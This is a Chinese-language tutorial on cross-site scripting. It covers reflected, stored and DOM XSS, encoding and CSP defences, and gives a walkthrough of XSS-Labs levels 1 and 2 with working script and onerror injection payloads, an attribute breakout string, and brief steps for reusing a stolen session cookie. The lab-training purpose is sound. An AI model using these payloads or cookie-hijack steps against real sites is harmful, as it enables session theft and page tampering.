XSS的原理
XSS(跨站腳本攻擊)原理
1. 核心機制
XSS攻擊的本質是惡意腳本在用戶瀏覽器中執行。攻擊者通過向網頁注入惡意代碼,當其他用戶訪問該頁面時,瀏覽器會執行這些代碼(沒有對用戶的輸入進行過濾導致用戶輸入的惡意JS代碼輸入到頁面中產生漏洞的),導致:
- 會話劫持(竊取Cookie)
- 頁面篡改
- 敏感數據竊取
- 惡意重定向
2. 攻擊流程
graph LR
A[攻擊者構造惡意腳本] --> B[注入目標網站]
B --> C[用戶訪問被篡改頁面]
C --> D[瀏覽器執行惡意腳本]
D --> E[攻擊達成]
3. 三種主要類型
(1) 反射型XSS
- 攻擊方式:惡意腳本通過URL參數傳遞
- 觸發條件:服務器未過濾輸入,直接返回參數內容
- 示例:
服務器返回頁面包含:http://example.com/search?keyword=<script>stealCookie()</script>
<p>您搜索了: <script>stealCookie()</script></p>
(2) 存儲型XSS(危害最大)
- 攻擊方式:惡意腳本存儲到數據庫
- 觸發條件:用戶訪問包含惡意內容的頁面(如評論區)
- 危害性:長期存在,影響所有訪問者
- 攻擊鏈: $$ \text{攻擊者提交} \rightarrow \text{服務器存儲} \rightarrow \text{用戶加載} \rightarrow \text{腳本執行} $$
(3) DOM型XSS
- 特點:完全在客戶端發生,不經過服務器
- 原理:前端JavaScript不安全地操作DOM
- 示例漏洞代碼:
攻擊URL:document.getElementById("output").innerHTML = "歡迎, " + location.hash.substring(1); // 從URL#后取值
http://example.com#<img src=x onerror=alert(1)>
4. 關鍵漏洞點
- 輸入未過濾:用戶輸入直接拼接到HTML/JS中
- 輸出未轉義:特殊字符如
< > " '
未轉換為實體字符 - 不安全API使用:如
innerHTML
、eval()
、document.write()
5. 數學表達攻擊場景
設合法輸入為 $A$,惡意載荷為 $M$,漏洞函數為 $f$,則攻擊成功條件: $$ f(A + M) \neq f(A) + f(M) $$ 當過濾函數 $f$ 非冪等或不完備時,存在: $$ \exists M \text{ 使得 } f(M) = M \quad \text{(繞過過濾)} $$
6. 防御原則
- 輸入過濾:刪除或編碼
< > & " '
等危險字符 - 輸出轉義:根據上下文使用不同編碼規則
- HTML上下文:
< → <
- JavaScript上下文:
" → \u0022
- HTML上下文:
- 內容安全策略(CSP):通過HTTP頭限制腳本來源
Content-Security-Policy: script-src 'self'
總結:XSS本質是信任鏈斷裂——瀏覽器信任服務器返回的內容,而服務器未充分驗證用戶輸入。防御關鍵在于嚴格實施數據與代碼分離原則。
?編碼
地址欄urlcode
英文數字一般不會進行編碼,一般對特殊字符進行編碼
ASCII轉16進制就是urlcode編碼規范
JS unicode
\u開始的
先轉ASCLL,再轉16進制---》\u00
html實體編碼
有三種形式:
十進制編碼:直接轉ASCII,如果是16進制編碼,再轉一個16進制就行了
<---->不要忘記分號
解析順序
html實體編碼---》urlcode----》js unicode
?XSS-Lab 靶場過關
level 1 無任何過濾
http://127.0.0.1/xss-labs-master/level1.php?name=t1
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
get傳參,這里可以看到這關并沒有做任何的過濾,導致我name=什么就會輸出什么,直接將name=的結果輸出到頁面上來,但是我們要了解到到底什么樣的標簽可以嵌套解析,不然我們沒辦法解析我的惡意代碼
payload:
http://127.0.0.1/xss-labs-master/level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E
http://127.0.0.1/xss-labs-master/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
說明<h>這個標簽是可以嵌套解析標簽和script代碼的,那具體我們有那些可以,那些不行呢?
level 2 input表單
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
?.htmlspecialchars函數
詳解:https://www.php.net/manual/zh/function.htmlspecialchars.php
?可以看到這個函數當我們再像前面那關那樣輸入js代碼,發現它并不能解析,這是因為此過濾函數進行了html的實體編碼,將<>轉換成了如下實體編碼,這樣就會認為解析過后的<>是普通字符而無法解析
字符 | 替換后 |
---|---|
& ?(& 符號) | & |
" ?(雙引號) | " ,除非設置了?ENT_NOQUOTES |
' ?(單引號) | 設置了?ENT_QUOTES ?后,?' ?(如果是?ENT_HTML401 ) ,或者?' ?(如果是?ENT_XML1 、?ENT_XHTML ?或?ENT_HTML5 )。 |
< ?(小于) | < |
> ?(大于) | > |
繞過標簽和屬性value:
分析源碼可以看出它并沒有對input進行過濾,只對get傳參進行了過濾,那我們就需要繞過input
1 繞過value
“”閉合
aaaa" οnclick="alert(1)
2 閉合input標簽
aaa"> <script>alert(1)</script>
XSS cookie
1 進入登錄頁面,查看登錄的cookie
2 刪除頁面的cookie
3 進入服務器的后臺復制cookie,修改后臺的index.php
4 成功進入